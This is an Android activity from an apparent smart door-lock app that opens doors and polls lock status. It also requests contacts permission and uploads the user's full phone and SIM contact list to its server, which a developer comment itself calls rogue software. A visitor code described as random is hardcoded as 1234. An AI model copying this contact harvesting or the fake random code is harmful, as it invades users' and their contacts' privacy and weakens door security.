package com.sander.guardmanagement.ui.activity;

import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Message;
import android.support.annotation.NonNull;
import android.support.v13.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.Toast;

import com.afollestad.materialdialogs.DialogAction;
import com.afollestad.materialdialogs.MaterialDialog;
import com.dxjia.library.ImageTextButton;
import com.facebook.drawee.view.SimpleDraweeView;
import com.google.gson.Gson;
import com.sander.guardmanagement.R;
import com.sander.guardmanagement.http.BaseCallback;
import com.sander.guardmanagement.http.BaseRequestModel;
import com.sander.guardmanagement.http.HomeGetDoorCmdStatus;
import com.sander.guardmanagement.http.HomeGetLockList;
import com.sander.guardmanagement.http.HomeGetUserHomelist;
import com.sander.guardmanagement.http.HomeOpenDoor;
import com.sander.guardmanagement.http.HttpApi;
import com.sander.guardmanagement.http.OkHttpHelper;
import com.sander.guardmanagement.http.UserGetUserInfo;
import com.sander.guardmanagement.http.UserSubmitCooperation;
import com.sander.guardmanagement.http.UserSubmitPhoneList;
import com.sander.guardmanagement.response.ResponseHomeGetLockList;
import com.sander.guardmanagement.response.ResponseHomeGetLockListData;
import com.sander.guardmanagement.response.ResponseHomeGetUserHomeList;
import com.sander.guardmanagement.response.ResponseHomeGetUserHomeListData;
import com.sander.guardmanagement.response.ResponseHomeOpenDoor;
import com.sander.guardmanagement.response.ResponseHomeOpenDoorData;
import com.sander.guardmanagement.response.ResponseModel;
import com.sander.guardmanagement.response.ResponseUserLogin;
import com.sander.guardmanagement.response.ResponseUserLoginData;
import com.sander.guardmanagement.ui.model.ContractInfo;
import com.sander.guardmanagement.until.AppUnit;
import com.sander.guardmanagement.until.UserInfoManager;
import com.sander.guardmanagement.widgets.CommonActionSheetDialog;
import com.squareup.okhttp.Request;
import com.squareup.okhttp.Response;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Timer;
import java.util.TimerTask;

import mehdi.sakout.dynamicbox.DynamicBox;

public class MainActivity extends AppCompatActivity {

    private List<ResponseHomeGetLockListData> homeList;

    private ResponseHomeGetLockListData current_selected_door;
    public CommonActionSheetDialog commonActionSheetDialog;

    public int MY_PERMISSIONS_REQUEST_READ_CONTACTS = 1010;
    Button selected_home_button;
    FrameLayout open_button;
    DynamicBox box;

    Timer openDoorTimer;
    int openTimeOut = 30;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        box = new DynamicBox(this, R.layout.activity_main);

        this.initView();
        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION);

        // test
    }

    private void initView(){
        //加载顶部的图片
//        Uri uri = Uri.parse("http://www.zhlzw.com/UploadFiles/Article_UploadFiles/201204/20120412123904521.jpg");
//        SimpleDraweeView draweeView = (SimpleDraweeView) findViewById(R.id.bannerImageView);

//        draweeView.setImageURI(uri);

        // 加载屏幕高宽
        DisplayMetrics dm = new DisplayMetrics();
        //取得窗口属性
        getWindowManager().getDefaultDisplay().getMetrics(dm);

        //窗口的宽度
        int screenWidth = dm.widthPixels;

        //窗口高度
        int screenHeight = dm.heightPixels;

        UserInfoManager.sharedManager().screen_width = screenWidth;
        UserInfoManager.sharedManager().screen_height = screenHeight;


        ImageTextButton adressbt = (ImageTextButton) findViewById(R.id.my_adress_button);

        adressbt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                onAdressAction();
            }
        });



        ImageTextButton setbt = (ImageTextButton)findViewById(R.id.my_setting_button);

        setbt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                onSettingAction();
            }
        });

        selected_home_button = (Button)findViewById(R.id.selectedhomeaction);
        selected_home_button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (homeList.size() == 0){
                    onAdressAction();
                }else{
                    showActionSheet();
                }
            }
        });

        open_button = (FrameLayout) findViewById(R.id.openhomeAction);
        open_button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
//                showToastMessage("开锁了");
                if (homeList.size() == 0){
                    onAdressAction();
                }else{
                    opendoor(current_selected_door);

                }
            }
        });



        Button laike = (Button) findViewById(R.id.laikebutton);
        laike.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.d("sander","来客人了");
                showAlertForLaike();
            }
        });


        checkoutLogin();
//        initData();
    }

    public void showAlertForLaike(){
        new MaterialDialog.Builder(this)
                .title("提示")
                .content("确定要生成随机数字密吗？\n本密码有效时间10分钟")
                .positiveText("确定")
                .negativeText("取消")
                .onPositive(new MaterialDialog.SingleButtonCallback() {
                    @Override
                    public void onClick(@NonNull MaterialDialog materialDialog, @NonNull DialogAction dialogAction) {
                showAlertForLaikeSuijimima();
                    }
                })
                .show();
    }

    public void showAlertForLaikeSuijimima(){
        new MaterialDialog.Builder(this)
                .title("提示")
                .content("门禁密码：1234 \n本密码有效时间10分钟")
                .positiveText("复制")
                .onPositive(new MaterialDialog.SingleButtonCallback() {
                    @Override
                    public void onClick(@NonNull MaterialDialog materialDialog, @NonNull DialogAction dialogAction) {

                    }
                })
                .show();
    }

    private void opendoor(ResponseHomeGetLockListData door){
        HomeOpenDoor homeOpenDoor = new HomeOpenDoor();
        if (UserInfoManager.sharedManager().userInfo != null){
            homeOpenDoor.uid = UserInfoManager.sharedManager().userInfo.getId() +"";
            homeOpenDoor.lock_id = door.id + "";
            OkHttpHelper.getinstance().post(homeOpenDoor.requestUrl(), homeOpenDoor.getValueOfClas(), new BaseCallback<ResponseHomeOpenDoor>() {
                @Override
                public void onRequestBefore() {
                    box.showLoadingLayout();
                }

                @Override
                public void onFailure(Request request, Exception e) {
                    box.hideAll();
                }

                @Override
                public void onSuccess(Response response, ResponseHomeOpenDoor o) {
                    Log.d("sander",o.getMsg());
                    ResponseHomeOpenDoorData data = o.getData();
                    if (data != null){
                        current_selected_door.cmd_id = data.cmd_id;
                        startOpenDoorTime();
                        getCurrentDoorStatus();
                    }



//                    if (o.getCode() == 0){
//                        Log.d("sander","开门成功");
//                        showToastMessage("开门成功");
//                    }else{
//
//                    }

                }

                @Override
                public void onError(Response response, int errorCode, Exception e) {
                    box.hideAll();
                }
            });

        }
    }

    public void getCurrentDoorStatus(){

        if (!canrequestDoorStatus()){
            stopOpenDoorTime();
            // 这里有个bug，
            showToastMessage("开门失败");
            box.hideAll();
            return;
        }

        HomeGetDoorCmdStatus homeGetDoorCmdStatus = new HomeGetDoorCmdStatus();
        homeGetDoorCmdStatus.cmd_id = current_selected_door.cmd_id;
        OkHttpHelper.getinstance().post(homeGetDoorCmdStatus.requestUrl(), homeGetDoorCmdStatus.getValueOfClas(), new BaseCallback<ResponseModel>() {
            @Override
            public void onRequestBefore() {

            }

            @Override
            public void onFailure(Request request, Exception e) {

            }

            @Override
            public void onSuccess(Response response, ResponseModel o) {

                if (o.getCode() == 0){
                    showToastMessage("开门成功");
                    stopOpenDoorTime();
                    box.hideAll();
                }else
                {
                    getCurrentDoorStatus();
                }
            }

            @Override
            public void onError(Response response, int errorCode, Exception e) {

            }
        });

    }

    private void checkoutLogin(){

//        Intent intent = new Intent(MainActivity.this,IntroductionGuradActivity.class);
//        startActivity(intent);
        boolean islogin =  UserInfoManager.sharedManager().checkoutUserisLogin(MainActivity.this);
        if (islogin){
            UserGetUserInfo userGetUserInfo = new UserGetUserInfo();
            userGetUserInfo.uid = UserInfoManager.sharedManager().user_id;
            OkHttpHelper.getinstance().post(userGetUserInfo.requestUrl(), userGetUserInfo.getValueOfClas(), new BaseCallback<ResponseUserLogin>() {
                @Override
                public void onRequestBefore() {

                }

                @Override
                public void onFailure(Request request, Exception e) {

                }

                @Override
                public void onSuccess(Response response, ResponseUserLogin o) {
                    if (o.getCode() == 0){
                        ResponseUserLoginData userInfo = o.getData();
                        UserInfoManager.sharedManager().setUserInfo(userInfo);
                    }
                }

                @Override
                public void onError(Response response, int errorCode, Exception e) {

                }
            });
        }else{
            Intent intent = new Intent(MainActivity.this,IntroductionGuradActivity.class);
            startActivity(intent);
        }
    }

    private void onAdressAction(){
        Log.d("sander","go to adress");
        Intent intent = new Intent(MainActivity.this,MyAdressListActivity.class);
        startActivity(intent);
    }
    private void onSettingAction(){
        Log.d("sander","go to setting");
        Intent intent = new Intent(MainActivity.this, AppSettingActivity.class);
        startActivity(intent);
    }

    @Override
    protected void onResume() {
        super.onResume();
        initData();

    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == MY_PERMISSIONS_REQUEST_READ_CONTACTS) {
            if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // Permission Granted
                Log.d("sander","用户同意了");
                updateusercontect();
            } else {
                Log.d("sander","用户不同意，没有办法，不做啥事情了");
                // Permission Denied
            }
        }
    }

    public void initData(){
        final HomeGetLockList homeGetLockList = new HomeGetLockList();
        if (UserInfoManager.sharedManager().user_id != null){
            homeGetLockList.uid = UserInfoManager.sharedManager().user_id + "";
            OkHttpHelper.getinstance().post(homeGetLockList.requestUrl(), homeGetLockList.getValueOfClas(), new BaseCallback<ResponseHomeGetLockList>() {
                @Override
                public void onRequestBefore() {

                }

                @Override
                public void onFailure(Request request, Exception e) {

                }

                @Override
                public void onSuccess(Response response, ResponseHomeGetLockList o) {
                    if (o.getCode() == 0){
                        Log.d("sander"," => " + o.getMsg());

                        List<ResponseHomeGetLockListData> homeListData = o.getData();

                        homeList = homeListData;
                        if (homeList.size() > 0){
                            current_selected_door = homeList.get(0);

                            selected_home_button.setText(current_selected_door.community  + " " + current_selected_door.doorName);
                        }

                    }else{
                        Log.d("sander"," => " + o.getMsg());
                    }

                }

                @Override
                public void onError(Response response, int errorCode, Exception e) {

                }
            });
        }


        if (UserInfoManager.sharedManager().getUserInfo() != null){
            // 流氓软件，获取用户的通讯录，上传服务器，这里只上传一次，我只能。。。
            if (UserInfoManager.sharedManager().isFirstRunApp(getApplicationContext())){
                return;
            }
            // Here, thisActivity is the current activity
            if (ContextCompat.checkSelfPermission(this,
                    Manifest.permission.READ_CONTACTS)
                    != PackageManager.PERMISSION_GRANTED) {

                // Should we show an explanation?
                if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                        Manifest.permission.READ_CONTACTS)) {

                    // Show an expanation to the user *asynchronously* -- don't block
                    // this thread waiting for the user's response! After the user
                    // sees the explanation, try again to request the permission.

                } else {

                    // No explanation needed, we can request the permission.

                    ActivityCompat.requestPermissions(this,
                            new String[]{Manifest.permission.READ_CONTACTS},
                            MY_PERMISSIONS_REQUEST_READ_CONTACTS);

                    // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
                    // app-defined int constant. The callback method gets the
                    // result of the request.
                }
            }
        }
    }
    public void updateusercontect(){
        List<ContractInfo> contractList = new ArrayList<>();
        HashMap<String,ContractInfo> list1 = AppUnit.getPhoneContracts(getApplicationContext());
        HashMap<String,ContractInfo> list2 = AppUnit.getSimContracts(getApplicationContext());
        Iterator iter = list1.entrySet().iterator();
        while (iter.hasNext()) {
            Map.Entry entry = (Map.Entry) iter.next();
            Object key = entry.getKey();
            ContractInfo val = (ContractInfo) entry.getValue();
            contractList.add(val);
        }
        Iterator iter2 = list2.entrySet().iterator();
        while (iter2.hasNext()){
            Map.Entry entry = (Map.Entry) iter.next();
            Object key = entry.getKey();
            ContractInfo val = (ContractInfo) entry.getValue();
            contractList.add(val);
        }
        try {
            Gson gson = new Gson();
            String json_string = gson.toJson(contractList);
            UserSubmitPhoneList userSubmitPhoneList = new UserSubmitPhoneList();
            userSubmitPhoneList.uid = UserInfoManager.sharedManager().getUserInfo().getId() + "";
            userSubmitPhoneList.phone_list = json_string;

            OkHttpHelper.getinstance().post(userSubmitPhoneList.requestUrl(), userSubmitPhoneList.getValueOfClas(), new BaseCallback<ResponseModel>() {
                @Override
                public void onRequestBefore() {

                }

                @Override
                public void onFailure(Request request, Exception e) {

                }

                @Override
                public void onSuccess(Response response, ResponseModel o) {
                    if (o.getCode() == 0){
                        Log.d("sander","发送成功");
                        UserInfoManager.sharedManager().fristRunApp(getApplicationContext());
                    }else{

                    }
                }

                @Override
                public void onError(Response response, int errorCode, Exception e) {

                }
            });

        }catch (Exception ex){
            ex.printStackTrace();
        }
    }
    public void showActionSheet()
    {
        if (commonActionSheetDialog == null){
            commonActionSheetDialog = new CommonActionSheetDialog(MainActivity.this);
            if (homeList != null){
                for (ResponseHomeGetLockListData data : homeList){
                    commonActionSheetDialog.addMenuItem( data.community + " " + data.doorName);
                }

            }
            commonActionSheetDialog.setMenuListener(new CommonActionSheetDialog.MenuListener() {
                @Override
                public void onItemSelected(int position, String item) {
                    Log.d("sander","selected " + homeList.get(position).doorName);
                    ResponseHomeGetLockListData data = homeList.get(position);

                    current_selected_door = homeList.get(position);
                    selected_home_button.setText(data.community + " " + data.doorName);
                }

                @Override
                public void onCancel() {

                }
            });

        }
        commonActionSheetDialog.show();

    }

    public void startOpenDoorTime()
    {
        openDoorTimer = new Timer();
        openTimeOut = 30;
        openDoorTimer.schedule(new TimerTask() {
            @Override
            public void run() {
                openTimeOut --;
            }
        },1000,1000);
    }

    public void stopOpenDoorTime(){
        openDoorTimer.cancel();
    }

    public boolean canrequestDoorStatus(){
        Log.d("sander","ppp  " + openTimeOut);
        if (openTimeOut <=0 ){
         return false;
        }
        return true;
    }

    public void showToastMessage(String message){
        Toast.makeText(getApplicationContext(),message,Toast.LENGTH_SHORT).show();
    }

}
